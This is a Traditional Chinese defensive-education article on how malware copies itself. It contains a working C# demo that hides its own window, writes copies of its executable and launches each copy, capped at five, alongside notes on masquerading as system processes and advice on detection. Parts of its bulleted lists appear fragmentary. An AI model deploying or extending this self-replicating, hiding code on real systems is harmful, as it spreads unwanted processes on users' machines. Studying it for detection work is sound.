本文僅供**學術研究與防禦教育**目的,展示惡意程式常見的自我複製技術原理。**嚴禁**用於製作、傳播惡意軟體。請遵守當地法律法規與道德規範。
惡意程式為達持久化與傳播,常採用以下手法:
Form.ShowInTaskbar = false; Opacity = 0; 使使用者無法發現執行中程式。File.ReadAllBytes),寫入新檔名 (常用亂數或遞增數字)。Process.Start),形成鏈式感染。C:\Windows、System32)、啟動資料夾、暫存目錄等。svchost.exe、wsqmcons.exe) 或使用隨機字串。using System;
using System.Diagnostics;
using System.IO;
using System.Windows.Forms;
namespace SelfReplicationDemo
{
static class Program
{
[STAThread]
static void Main()
{
// 1. 隱藏視窗 (僅示範 API,實際惡意碼不會建立 Form)
Application.EnableVisualStyles();
Form f = new Form { ShowInTaskbar = false, Opacity = 0, WindowState = FormWindowState.Minimized };
f.Load += (s, e) => ReplicateAndExit(f);
Application.Run(f);
}
static void ReplicateAndExit(Form host)
{
const int MAX_COPIES = 5; // 限制複製數量,防止失控
string selfPath = Application.ExecutablePath;
string dir = Application.StartupPath;
string selfName = Path.GetFileName(selfPath);
// 解析當前複製代號 (檔名為數字.exe)
int copyNum = 0;
if (int.TryParse(Path.GetFileNameWithoutExtension(selfName), out copyNum))
{
copyNum--;
}
else
{
copyNum = MAX_COPIES; // 原始檔從 MAX 開始遞減
}
if (copyNum <= 0)
{
MessageBox.Show("示範結束:已達複製上限。");
host.Close();
return;
}
string targetName = $"{copyNum:000}.exe";
string targetPath = Path.Combine(dir, targetName);
try
{
// 2. 複製自身二進位
byte[] selfBytes = File.ReadAllBytes(selfPath);
File.WriteAllBytes(targetPath, selfBytes);
// 3. 啟動新複製體
Process.Start(new ProcessStartInfo(targetPath) { UseShellExecute = true });
}
catch (Exception ex)
{
MessageBox.Show("複製失敗:" + ex.Message);
}
finally
{
host.Close(); // 結束當前進程
}
}
}
}
| 功能 | .NET API | 原生 Windows API 對應 |
|---|---|---|
| 讀取自身路徑 | Application.ExecutablePath | GetModuleFileName |
| 二進位讀寫 | File.ReadAllBytes/WriteAllBytes | CreateFile/ReadFile/WriteFile |
| 啟動新程序 | Process.Start | CreateProcess |
| 隱藏視窗 | Form.Opacity=0, ShowInTaskbar=false | ShowWindow(SW_HIDE) |
System32、啟動資料夾) 新增/變更執行檔。Run/RunOnce 鍵值。理解攻擊技術是建立有效防禦的前提。開發者應熟悉 System.IO、Process、FileSystemWatcher 等 API 的雙面性,並在軟體供應鏈、部署管線、執行環境多層面佈防。